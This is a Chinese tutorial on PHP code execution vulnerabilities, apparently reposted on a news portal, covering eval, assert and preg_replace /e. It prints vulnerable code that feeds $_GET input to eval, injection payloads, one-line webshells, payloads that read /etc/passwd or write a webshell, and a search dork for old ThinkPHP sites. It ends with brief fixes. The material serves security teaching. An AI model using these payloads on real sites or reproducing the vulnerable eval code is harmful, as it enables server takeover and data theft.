php漏洞eval,Web安全之代码执行漏洞
原标题:Web安全之代码执行漏洞
内容
1、代码执行漏洞的概述
2、代码执行漏洞的危害
3、代码执行漏洞的利用
4、代码执行漏洞的防御
背景介绍
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
例子
PHP CMS中 settings的内容:
array(
'upload_maxsize' => '2048',
'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
'watermark_enable' => '1',
'watermark_minwidth' => '300',
'watermark_minheight' => '300',
'watermark_img' => '/statics/images/water/mark.png',
'watermark_pct' => '85',
'watermark_quality' => '80',
'watermark_pos' => '9' , )
PHP CMS中 很常用的string2array函数:
function string2array($data){
if($data == ''){
return array();
}
eval("\$array = $data;")
return $array;
}
PHP CMS中 很常用的string2array函数:
$data = "array('a'=>'aaaa',
'b'=>'222222',
'c'=>'',111=>phpinfo(),222=>'22'
)";
eval("\$arr = $data;");
?>
其实settings是一个字符串形式的“PHP数组”,这里必须使用eval函数才能将“字符串”变成一个真正的数组。
漏洞危害
执行任意代码
向网站写WebShell
控制整个网站甚至服务器
相关函数
eval()
assert()
preg_replace() + /e 模式
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
file_put_contents()
fputs()
$_GET[‘a’]($_GET[‘b’]);//a=assert&b=phpinfo()
$string = 'google 123, 456';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = 'runoob ${2},\\3';
echo preg_replace($pattern, $replacement, $string);
输出:runoob 123,456
intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”
${@print(eval($_POST[1]))}
{${@eval($_POST[1])}}
eval()函数漏洞利用_1
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>
eval()函数漏洞利用_2
//关闭魔术方法
$data=$_GET[‘data’];
eval(“\$ret = strtolower(‘$data’);”);
echo $ret;
?>
/?data=1’);phpinfo();//
eval()函数漏洞利用_3
$data=$_GET[‘data’];
eval(“\$ret = strtolower(\”$data\”);”);
echo $ret;
?>
/?data=${phpinfo()} (php版本5.5及以上)
/?data=“);phpinfo();//
preg_replace+/e利用
$data=$_GET[‘data’];
echo $data;
preg_replace(‘/(.*)/e’,‘$ret=“\\1”;’, $data);
echo $ret;
?>
漏洞利用
{${@eval($_POST[1])}} 一句话
{${exit(print(getcwd()))}} 获取当前工作路径
{${exit(var_dump(file_get_contents($_POST[f])))}}
读文件 f=/etc/passwd
{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}
写webshell f=1.php&d=1111111
漏洞修复方案
对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().
对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。
来源网络,侵权联系删除返回搜狐,查看更多
责任编辑:
php漏洞eval,Web安全之代码执行漏洞相关推荐
- Web安全之代码执行漏洞
内容 1.代码执行漏洞的概述 2.代码执行漏洞的危害 3.代码执行漏洞的利用 4.代码执行漏洞的防御 背景介绍 在Web应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用eval函数(PHP函数) ...
- goahead处理json_GoAhead Web Server远程代码执行漏洞分析(附PoC)
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 本文是关于GoAhead web server远程代码执行漏洞(CVE-2017- ...
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)
1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...
- android fastjson漏洞_【漏洞预警】Fastjson 远程代码执行漏洞(暂无PoC)
Fastjson简介 Fastjson是一个Java语言编写的高性能功能完善的JSON库.它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Jav ...
- 众至科技:漏洞通告 | 微软10月发布多个安全漏洞;Apache Shiro权限绕过漏洞;Apache Commons存在代码执行漏洞
微软发布10月多个安全漏洞 1.漏洞概述 2022年10月11日,微软发布了10月安全更新,此次更新修复了包括2个0 day漏洞在内的84个安全漏洞(不包括10月3日修复的12个Microsoft ...
- php/5.2.17漏洞,【漏洞预警】ThinkPHP5远程代码执行漏洞
2018年12月10日,白帽汇安全研究院发现thinkphp官网发布了安全更新,修复了一个远程代码执行漏洞,该漏洞是由于框架对控制器名没有进行敏感字符检测,导致在没有开启强制路由的情况下可能导致远程代 ...
- 不能执行已释放 script 的代码_[漏洞预警]CVE20190708远程桌面代码执行漏洞利用工具已放出...
漏洞描述 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了许多版本的Windows操作系统.该漏洞在不需身份认证的情况下即可远程触发,危害与影 ...
- mysql 5 可执行漏洞_漏洞预警:MySQL 0-day代码执行漏洞 可本地提权
来自波兰的安全研究人员Dawid Golunski刚刚发现了两个MySQL的0-day漏洞,影响到所有版本分支.默认配置的MySQL服务器(5.7.5.6和5.5),包括最新版本.攻击者可以远程和本地 ...
- rmi远程代码执行漏洞_【最新漏洞简讯】WebLogic远程代码执行漏洞 (CVE202014645)
↑ 点击上方"SecMind安全管家"关注我们 情报编号:W1120200715 漏洞概述 WebLogic是Oracle公司出品的用于开发.集成.部署和管理大型分布式Web应用. ...
最新文章
- 他开发了基因界的百科全书,贡献却少有人知
- 如何在ubuntu中安装mysql与mysql workbench
- 【CyberSecurityLearning 33】Nginx和Tomcat服务的搭建、Nginx负载均衡
- vue router获取整条路径参数
- wxpython制作表格界面_wxpython入门第二步(布局)
- L1-056 猜数字 (20 分)
- Yii 2 美化 url
- NeurIPS 2020 | 微软亚洲研究院论文摘录之目标检测篇
- 罗永浩确认12月初开发布会 不是手机也不是电子烟
- 电子围栏原理解析---原理
- mysqlbinlog unknown variable:default-character-set=gbk
- BZOJ 2469 [中山市选2010]简单数谜
- 一个比较好看的彩带飘飞和点击效果 canvas实现
- 2016天猫快消母婴行业双11商家大会
- 超像素评价(评估)标准
- 怎么添加usb虚拟打印机端口_佳能LBP2900,夏普等特殊打印机使用教程
- 使用YASM编程 - 06
- 微信支付商户平台的apikey与公众平台的appsecret的区别
- 你要小心那些涉世不深的老实人
- 古典音乐入门的常见问题